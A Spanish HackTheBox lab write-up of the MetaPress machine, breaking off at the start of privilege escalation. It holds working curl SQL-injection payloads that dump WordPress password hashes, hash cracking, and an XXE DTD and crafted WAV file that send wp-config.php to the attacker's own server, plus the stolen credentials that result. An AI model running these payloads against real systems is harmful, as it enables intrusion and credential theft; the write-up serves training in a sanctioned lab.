TL;DR (Spanish Writeup)

Estos writeups son una forma de preservar mis notas y conocimientos adquiridos.

Si este documento te ayuda a resolver la máquina y quieres agradecermelo, dejame un Respect en HackTheBox visitando mi perfil (click en la imagen).

HackTheBox

Bienvenida

Saludos pentesters, en esta ocasión volvemos a la carga con una máquina Linux recién retirada, de dificultad fácil en la que tocamos un par de CVE’s de WordPress.

Fecha de Resolución

Índice

  1. Fase de Reconocimiento.
  2. Fase de Enumeración.
  3. Fase de Explotación.
  4. Escalada de Privilegios.

Fase de Reconocimiento #

📌 TCP SYN Port Scan

Empezamos con el reconocimiento de puertos lanzando un TCP SYN Port Scan

Parámetro Descripción
-p- Escanea el rango completo de puertos (hasta el 65535)
-sS Realiza un escaneo de tipo SYN port scan
–min-rate Enviar paquetes no más lentos que 5000 por segundo
–open Mostrar sólo los puertos que esten abiertos
-vvv Triple verbose para ver en consola los resultados
-n No efectuar resolución DNS
-Pn No efectuar descubrimiento de hosts
-oG Guarda el output en un archivo con formato grepeable para usar la función extractPorts de S4vitar
p3ntest1ng:~$ sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.186 -oG allPorts

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-27 13:16 CET
Initiating SYN Stealth Scan at 13:16
Scanning 10.10.11.186 [65535 ports]
SYN Stealth Scan Timing: About 50.00% done; ETC: 13:18 (0:01:01 remaining)
Discovered open port 22/tcp on 10.10.11.186
Discovered open port 80/tcp on 10.10.11.186
Discovered open port 21/tcp on 10.10.11.186
Completed SYN Stealth Scan at 13:18, 142.14s elapsed (65535 total ports)
Nmap scan report for 10.10.11.186
Host is up, received user-set (0.25s latency).
Scanned at 2023-01-27 13:16:14 CET for 142s
Not shown: 52912 filtered tcp ports (no-response), 12620 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 142.76 seconds
           Raw packets sent: 124749 (5.489MB) | Rcvd: 12648 (506.952KB)

📌 Identificación de Puertos

Los puertos encontrados son los siguientes (enlace a Wikipedia para mayor información):

Puerto Descripción
21 FTP - FTP o File Transfer Protocol
22 SSH - SSH o Secure Shell
80 HTTP - Servidor web

📌 Identificación de Servicios y Versiones

Vamos a obtener algo más de información sobre los puertos que hemos encontrado:

Parámetro Descripción
-p Escanea sobre los puertos especificados
-sC Muestra todos los scripts relacionados con el servicio
-sV Determina la versión del servicio
-oN Guarda el output en un archivo con formato normal
p3ntest1ng:~$ nmap -sCV -p 21,22,80 10.10.11.186 -oN targeted

Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-27 13:22 CET
Nmap scan report for 10.10.11.186
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
|   256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_  256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.92%I=7%D=1/27%Time=63D3C21A%P=x86_64-pc-linux-gnu%r(Gene
SF:ricLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10\
SF:.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cre
SF:ative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creative
SF:\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.93 seconds

Vemos que nos indica que no se ha hecho el redirect a la dirección que apunta la página, por lo que asignamos el virtualhost de la máquina en nuestro archivo /etc/hosts

p3ntest1ng:~$ echo '10.10.11.186 metapress.htb' | sudo tee -a /etc/hosts

📌 Identificación del Servidor HTTP/HTTPS con Nmap

Analicemos el puerto 80 con un script de reconocimiento HTTP básico de Nmap:

Parámetro Descripción
–script Ejecución de scripts escritos en LUA. Usamos http-enum
-p Escanea sobre el puerto especificado
-oN Guarda el output en un archivo con formato normal
p3ntest1ng:~$ nmap --script http-enum -p 80 10.10.11.186 -oN webScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-01 15:59 CEST
Nmap scan report for 10.10.11.186
Host is up (0.051s latency).

PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 420.96 seconds

No obtenemos ningún resultado interesante…por lo que vamos a echarle un vistazo a la web.

📌 Identificación del Servidor HTTP/HTTPS con whatweb

Analicemos las distintas tecnologías que se utilizan en el servidor web con ayuda de whatweb

p3ntest1ng:~$ whatweb http://metapress.htb/
http://metapress.htb/ [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[10.10.11.186], MetaGenerator[WordPress 5.6.2], PHP[8.0.24], PoweredBy[--], Script, Title[MetaPress – Official company site], UncommonHeaders[link], WordPress[5.6.2], X-Powered-By[PHP/8.0.24], nginx[1.18.0]

Fase de Enumeración #

📌 Fuzzing de Directorios

Vamos a identificar posibles directorios con wfuzz, primero con un diccionario pequeño y si no encontramos nada, usaremos uno más grande.

Parámetro Descripción
-c Muestra el output en formato colorizado
-w Utiliza el diccionario especificado
–hc 404 Oculta todos los códigos de estado 404
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 301,404 http://metapress.htb/FUZZ 2>/dev/null

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://metapress.htb/FUZZ
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                    
=====================================================================

000000001:   200        155 L    552 W      10342 Ch    "http://metapress.htb/"                                                                                    
000000012:   200        20 L     76 W       633 Ch      ".htaccess"                                                                                                
000000286:   302        0 L      0 W        0 Ch        "admin"                                                                                                    
000001156:   302        0 L      0 W        0 Ch        "dashboard"                                                                                                
000002347:   302        0 L      0 W        0 Ch        "login"                                                                                                    
000003436:   200        5 L      8 W        113 Ch      "robots.txt"                                                                                               
000003696:   302        0 L      0 W        0 Ch        "sitemap.xml"                                                                                              
000004568:   405        0 L      6 W        42 Ch       "xmlrpc.php"                                                                                               

Total time: 0
Processed Requests: 4614
Filtered Requests: 4606
Requests/sec.: 0

📌 Fuzzing de Subdominios

En este máquina no existen subdominios por lo que nos saltaremos este paso… Vamos a investigar sobre los resultados encontrados anteriormente.

Fase de Explotación #

Primero vamos a echarle un vistazo general a la página web para ver qué tenemos:

Website

Vemos que la página se encuentra en un estado beta y que nos invitan a unirnos al evento de lanzamiento, por lo que hacemos click en el enlace indicado:

Website

Si miramos el código fuente, vemos que muchos de los href apuntan a un plugin de wordpress llamado BookingPress

Website

También vemos que nos indican la versión, que en este caso es la 1.0.10, haciendo una búsqueda rápida en Google encontramos la siguiente página del software WPScan:

https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357

Aquí nos hablan en concreto del CVE-2022-0739, y nos indican cómo podemos aprovecharnos de esta vulnerabilidad, con toda la información sobr la vulnerabilidad así como el respectivo POC (Proof of Concept) del que podemos hacer uso.

Como vemos, el plugin es vulnerable a SQL Injection, por lo que podremos lograr filtrar información de la base de datos. Tal y como nos explican en la web anterior, necesitamos extraer el valor _wpnonce para la consulta con curl

Code

Una vez lo tenemos, podemos ejecutar consultas para filtrar información de la base de datos aprovechando el SQL Injection:

p3ntest1ng:~$ curl -s 'http://metapress.htb/wp-admin/admin-ajax.php' -d "action=bookingpress_front_get_category_services&_wpnonce=3d2e8b263f&category_id=33&total_service=1) union select database(),1,1,1,1,1,1,1,1-- -" | sed 's/\\//g' | jq | grep service_id | awk '{print $4}' FS='"'
blog
p3ntest1ng:~$ curl -s 'http://metapress.htb/wp-admin/admin-ajax.php' -d "action=bookingpress_front_get_category_services&_wpnonce=3d2e8b263f&category_id=33&total_service=1) union select group_concat(schema_name),1,1,1,1,1,1,1,1 from information_schema.schemata-- -" | awk '{print $4}' FS='"' | tr "," "\n"
information_schema
blog

Vamos a filtrar los nombres de todas las tablas en la base de datos:

p3ntest1ng:~$ curl -s 'http://metapress.htb/wp-admin/admin-ajax.php' -d "action=bookingpress_front_get_category_services&_wpnonce=3d2e8b263f&category_id=33&total_service=1) union select group_concat(table_name),1,1,1,1,1,1,1,1 from information_schema.tables where table_schema = database()-- -" | awk '{print $4}' FS='"' | tr "," "\n"
wp_options
wp_term_taxonomy
wp_bookingpress_servicesmeta
wp_commentmeta
wp_users
wp_bookingpress_customers_meta
wp_bookingpress_settings
wp_bookingpress_appointment_bookings
wp_bookingpress_customize_settings
wp_bookingpress_debug_payment_log
wp_bookingpress_services
wp_termmeta
wp_links
wp_bookingpress_entries
wp_bookingpress_categories
wp_bookingpress_customers
wp_bookingpress_notifications
wp_usermeta
wp_terms
wp_bookingpress_default_daysoff
wp_comments
wp_bookingpress_default_workhours
wp_postmeta
wp_bookingpress_form_fields
wp_bookingpress_payment_logs
wp_posts
wp_term_relationships

De todas las tablas, nos interesa poder filtrar los usuarios, pero para que la consulta no de problemas, vamos a pasarle el nombre de la tabla en formato hexadecimal:

p3ntest1ng:~$ echo "wp_users" | xxd
00000000: 7770 5f75 7365 7273 0a                   wp_users.

El equivalente sería 0x77705f7573657273, lo pasamos en la consulta y listamos la tabla:

p3ntest1ng:~$ curl -s 'http://metapress.htb/wp-admin/admin-ajax.php' -d "action=bookingpress_front_get_category_services&_wpnonce=3d2e8b263f&category_id=33&total_service=1) union select group_concat(column_name),1,1,1,1,1,1,1,1 from information_schema.columns where table_schema = database() and table_name=0x77705f7573657273-- -" | awk '{print $4}' FS='"' | tr "," "\n"
ID
user_login
user_pass
user_nicename
user_email
user_url
user_registered
user_activation_key
user_status
display_name

Vamos a listar los valores del user_login y el user_pass, para obtener los hashes de las credenciales:

p3ntest1ng:~$ curl -s 'http://metapress.htb/wp-admin/admin-ajax.php' -d "action=bookingpress_front_get_category_services&_wpnonce=3d2e8b263f&category_id=33&total_service=1) union select group_concat(user_login,user_pass),1,1,1,1,1,1,1,1 from wp_users-- -" | awk '{print $4}' FS='"' | tr "," "\n"
admin$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager$P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70

Creamos un nuevo documento con nano por ejemplo y guardamos esta información para crackear las credenciales con ayuda de John The Ripper.

p3ntest1ng:~$ john -w:/usr/share/wordlists/rockyou.txt hashes

Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 SSE2 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
partylikearockstar (manager)
1g 0:00:58:01 78,92% (ETA: 16:14:49) 0.000287g/s 3248p/s 3279c/s 3279C/s CR0906..CPRTOP
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session aborted

Tenemos las credenciales de acceso al panel de administración, con el usuario manager y la contraseña partylikearockstar

Nos vamos al panel de administración y nos identificamos…

Login

Vemos varias opciones, pero me llama la atención la que hace referencia a Media, y si hacemos click nos permite añadir un nuevo contenido:

Media

Media

Como vimos anteriormente, la versión de WordPress utilizada es la 5.6.2 y es vulnerable a un ataque XXE (XML External Entity) de tipo SSRF (Server Side Request Forgery), para lo cual existe el CVE-2021-29447, explicado en esta página:

https://www.pinguytaz.net/index.php/2021/09/04/cve-2021-29447-vulnerabilidad-xxe-wordpress-ctf/

Tal y como se indica, debemos crear un archivo WAV, que apuntará a otro archivo DTD alojado en nuestra máquina de atacante. Primero vamos a crear este archivo, que debe contener lo siguiente (importante que apunte a nuestra máquina local, recordad cambiar la IP por la vuestra):

p3ntest1ng:~$ catn pwned.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.16.26/?p=%file;'>" >

Para que el ataque funcione, debemos compartir este archivo mediante un servidor HTTP:

p3ntest1ng:~$ ll
.rwxrwx--- root vboxsf 135 B Fri Jan 27 16:42:15 2023  payload.wav
.rwxrwx--- root vboxsf 173 B Fri Jan 27 16:52:19 2023  pwned.dtd
p3ntest1ng:~$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Creamos el archivo WAV de la siguiente forma (yo ya lo tenía creado):

p3ntest1ng:~$ echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.16.26/pwned.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

Ahora procedemos a subir este archivo al servidor que estamos vulnerando, automáticamente nos debería llegar la petición:

Uploaded

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.186 - - [01/Apr/2023 19:54:23] "GET /pwned.dtd HTTP/1.1" 200 -
10.10.11.186 - - [01/Apr/2023 19:54:23] "GET /?p=PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1VTRVInLCAnYmxvZycgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHBhc3N3b3JkICovDQpkZWZpbmUoICdEQl9QQVNTV09SRCcsICc2MzVBcUBUZHFyQ3dYRlVaJyApOw0KDQovKiogTXlTUUwgaG9zdG5hbWUgKi8NCmRlZmluZSggJ0RCX0hPU1QnLCAnbG9jYWxob3N0JyApOw0KDQovKiogRGF0YWJhc2UgQ2hhcnNldCB0byB1c2UgaW4gY3JlYXRpbmcgZGF0YWJhc2UgdGFibGVzLiAqLw0KZGVmaW5lKCAnREJfQ0hBUlNFVCcsICd1dGY4bWI0JyApOw0KDQovKiogVGhlIERhdGFiYXNlIENvbGxhdGUgdHlwZS4gRG9uJ3QgY2hhbmdlIHRoaXMgaWYgaW4gZG91YnQuICovDQpkZWZpbmUoICdEQl9DT0xMQVRFJywgJycgKTsNCg0KZGVmaW5lKCAnRlNfTUVUSE9EJywgJ2Z0cGV4dCcgKTsNCmRlZmluZSggJ0ZUUF9VU0VSJywgJ21ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfUEFTUycsICc5TllTX2lpQEZ5TF9wNU0yTnZKJyApOw0KZGVmaW5lKCAnRlRQX0hPU1QnLCAnZnRwLm1ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfQkFTRScsICdibG9nLycgKTsNCmRlZmluZSggJ0ZUUF9TU0wnLCBmYWxzZSApOw0KDQovKiojQCsNCiAqIEF1dGhlbnRpY2F0aW9uIFVuaXF1ZSBLZXlzIGFuZCBTYWx0cy4NCiAqIEBzaW5jZSAyLjYuMA0KICovDQpkZWZpbmUoICdBVVRIX0tFWScsICAgICAgICAgJz8hWiR1R08qQTZ4T0U1eCxwd2VQNGkqejttYHwuWjpYQClRUlFGWGtDUnlsN31gclhWRz0zIG4+KzNtPy5CLzonICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9LRVknLCAgJ3gkaSQpYjBdYjFjdXA7NDdgWVZ1YS9KSHElKjhVQTZnXTBid29FVzo5MUVaOWhdcldsVnElSVE2NnBmez1dYSUnICk7DQpkZWZpbmUoICdMT0dHRURfSU5fS0VZJywgICAgJ0orbXhDYVA0ejxnLjZQXnRgeml2PmRkfUVFaSU0OCVKblJxXjJNakZpaXRuIyZuK0hYdl18fEUrRn5De3FLWHknICk7DQpkZWZpbmUoICdOT05DRV9LRVknLCAgICAgICAgJ1NtZURyJCRPMGppO145XSpgfkdOZSFwWEBEdldiNG05RWQ9RGQoLnItcXteeihGPyk3bXhOVWc5ODZ0UU83TzUnICk7DQpkZWZpbmUoICdBVVRIX1NBTFQnLCAgICAgICAgJ1s7VEJnYy8sTSMpZDVmW0gqdGc1MGlmVD9adi41V3g9YGxAdiQtdkgqPH46MF1zfWQ8Jk07Lix4MHp+Uj4zIUQnICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9TQUxUJywgJz5gVkFzNiFHOTU1ZEpzPyRPNHptYC5RO2FtaldedUpya18xLWRJKFNqUk9kV1tTJn5vbWlIXmpWQz8yLUk/SS4nICk7DQpkZWZpbmUoICdMT0dHRURfSU5fU0FMVCcsICAgJzRbZlNeMyE9JT9ISW9wTXBrZ1lib3k4LWpsXmldTXd9WSBkfk49Jl5Kc0lgTSlGSlRKRVZJKSBOI05PaWRJZj0nICk7DQpkZWZpbmUoICdOT05DRV9TQUxUJywgICAgICAgJy5zVSZDUUBJUmxoIE87NWFzbFkrRnE4UVdoZVNOeGQ2VmUjfXchQnEsaH1WOWpLU2tUR3N2JVk0NTFGOEw9YkwnICk7DQoNCi8qKg0KICogV29yZFByZXNzIERhdGFiYXNlIFRhYmxlIHByZWZpeC4NCiAqLw0KJHRhYmxlX3ByZWZpeCA9ICd3cF8nOw0KDQovKioNCiAqIEZvciBkZXZlbG9wZXJzOiBXb3JkUHJlc3MgZGVidWdnaW5nIG1vZGUuDQogKiBAbGluayBodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC9hcnRpY2xlL2RlYnVnZ2luZy1pbi13b3JkcHJlc3MvDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg== HTTP/1.1" 200 -

Gracias a esto obtenemos el valor en Base64 para el archivo wp-config.php tal y como indicamos en el archivo pwned.dtd

p3ntest1ng:~$ echo -n 'PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1VTRVInLCAnYmxvZycgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHBhc3N3b3JkICovDQpkZWZpbmUoICdEQl9QQVNTV09SRCcsICc2MzVBcUBUZHFyQ3dYRlVaJyApOw0KDQovKiogTXlTUUwgaG9zdG5hbWUgKi8NCmRlZmluZSggJ0RCX0hPU1QnLCAnbG9jYWxob3N0JyApOw0KDQovKiogRGF0YWJhc2UgQ2hhcnNldCB0byB1c2UgaW4gY3JlYXRpbmcgZGF0YWJhc2UgdGFibGVzLiAqLw0KZGVmaW5lKCAnREJfQ0hBUlNFVCcsICd1dGY4bWI0JyApOw0KDQovKiogVGhlIERhdGFiYXNlIENvbGxhdGUgdHlwZS4gRG9uJ3QgY2hhbmdlIHRoaXMgaWYgaW4gZG91YnQuICovDQpkZWZpbmUoICdEQl9DT0xMQVRFJywgJycgKTsNCg0KZGVmaW5lKCAnRlNfTUVUSE9EJywgJ2Z0cGV4dCcgKTsNCmRlZmluZSggJ0ZUUF9VU0VSJywgJ21ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfUEFTUycsICc5TllTX2lpQEZ5TF9wNU0yTnZKJyApOw0KZGVmaW5lKCAnRlRQX0hPU1QnLCAnZnRwLm1ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfQkFTRScsICdibG9nLycgKTsNCmRlZmluZSggJ0ZUUF9TU0wnLCBmYWxzZSApOw0KDQovKiojQCsNCiAqIEF1dGhlbnRpY2F0aW9uIFVuaXF1ZSBLZXlzIGFuZCBTYWx0cy4NCiAqIEBzaW5jZSAyLjYuMA0KICovDQpkZWZpbmUoICdBVVRIX0tFWScsICAgICAgICAgJz8hWiR1R08qQTZ4T0U1eCxwd2VQNGkqejttYHwuWjpYQClRUlFGWGtDUnlsN31gclhWRz0zIG4+KzNtPy5CLzonICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9LRVknLCAgJ3gkaSQpYjBdYjFjdXA7NDdgWVZ1YS9KSHElKjhVQTZnXTBid29FVzo5MUVaOWhdcldsVnElSVE2NnBmez1dYSUnICk7DQpkZWZpbmUoICdMT0dHRURfSU5fS0VZJywgICAgJ0orbXhDYVA0ejxnLjZQXnRgeml2PmRkfUVFaSU0OCVKblJxXjJNakZpaXRuIyZuK0hYdl18fEUrRn5De3FLWHknICk7DQpkZWZpbmUoICdOT05DRV9LRVknLCAgICAgICAgJ1NtZURyJCRPMGppO145XSpgfkdOZSFwWEBEdldiNG05RWQ9RGQoLnItcXteeihGPyk3bXhOVWc5ODZ0UU83TzUnICk7DQpkZWZpbmUoICdBVVRIX1NBTFQnLCAgICAgICAgJ1s7VEJnYy8sTSMpZDVmW0gqdGc1MGlmVD9adi41V3g9YGxAdiQtdkgqPH46MF1zfWQ8Jk07Lix4MHp+Uj4zIUQnICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9TQUxUJywgJz5gVkFzNiFHOTU1ZEpzPyRPNHptYC5RO2FtaldedUpya18xLWRJKFNqUk9kV1tTJn5vbWlIXmpWQz8yLUk/SS4nICk7DQpkZWZpbmUoICdMT0dHRURfSU5fU0FMVCcsICAgJzRbZlNeMyE9JT9ISW9wTXBrZ1lib3k4LWpsXmldTXd9WSBkfk49Jl5Kc0lgTSlGSlRKRVZJKSBOI05PaWRJZj0nICk7DQpkZWZpbmUoICdOT05DRV9TQUxUJywgICAgICAgJy5zVSZDUUBJUmxoIE87NWFzbFkrRnE4UVdoZVNOeGQ2VmUjfXchQnEsaH1WOWpLU2tUR3N2JVk0NTFGOEw9YkwnICk7DQoNCi8qKg0KICogV29yZFByZXNzIERhdGFiYXNlIFRhYmxlIHByZWZpeC4NCiAqLw0KJHRhYmxlX3ByZWZpeCA9ICd3cF8nOw0KDQovKioNCiAqIEZvciBkZXZlbG9wZXJzOiBXb3JkUHJlc3MgZGVidWdnaW5nIG1vZGUuDQogKiBAbGluayBodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC9hcnRpY2xlL2RlYnVnZ2luZy1pbi13b3JkcHJlc3MvDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg==' | base64 -d

Y deberíamos obtener el código fuente en PHP:

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
 * Authentication Unique Keys and Salts.
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
 * WordPress Database Table prefix.
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

En el archivo encontramos las credenciales de acceso al servidor FTP así que nos conectamos con FileZilla:

FTP

Encontramos dos directorios, blog y mailer, entramos en el segundo y vemos que hay un archivo php que nos podemos descargar para analizarlo.

p3ntest1ng:~$ cat send_email.php
<?php
/*
 * This script will be used to send an email to all our users when ready for launch
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;                               
$mail->isSMTP();            

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;                                   

$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";

$mail->addAddress("info@metapress.htb");

$mail->isHTML(true);

$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";

try {
    $mail->send();
    echo "Message has been sent successfully";
} catch (Exception $e) {
    echo "Mailer Error: " . $mail->ErrorInfo;
}

En este archivo encontramos las credenciales para el usuario jnelson así que probemos a ver si se reutiliza la contraseña para SSH

p3ntest1ng:~$ ssh jnelson@10.10.11.186
The authenticity of host '10.10.11.186 (10.10.11.186)' can't be established.
ECDSA key fingerprint is SHA256:3MyoxrDpzSN/H4ZJAbl3k/OSAyorwqmMnL3UtS0pVcQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.186' (ECDSA) to the list of known hosts.
jnelson@10.10.11.186's password: Cb4_JmWM8zUZWMu@Ys
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 25 12:51:26 2022 from 10.10.14.23
jnelson@meta2:~$ 

Tenemos acceso al sistema con este usuario, vamos en busca de nuestra primera flag:

jnelson@meta2:~$ cat user.txt
3b22a1f1db07a9f661051f7a8d5db09c

Finalmente, nos queda ganar acceso privilegiado al sistema, veamos cómo podemos lograrlo…

Escalada de Privilegios #

jnelson@meta2:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for jnelson: 
Sorry, user jnelson may not run sudo on meta2.
jnelson@meta2:~$ 

No tenemos permisos para ejecutar sudo así que probemos otras cosas…

jnelson@meta2:~$ ls -la
total 32
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 12:53 .
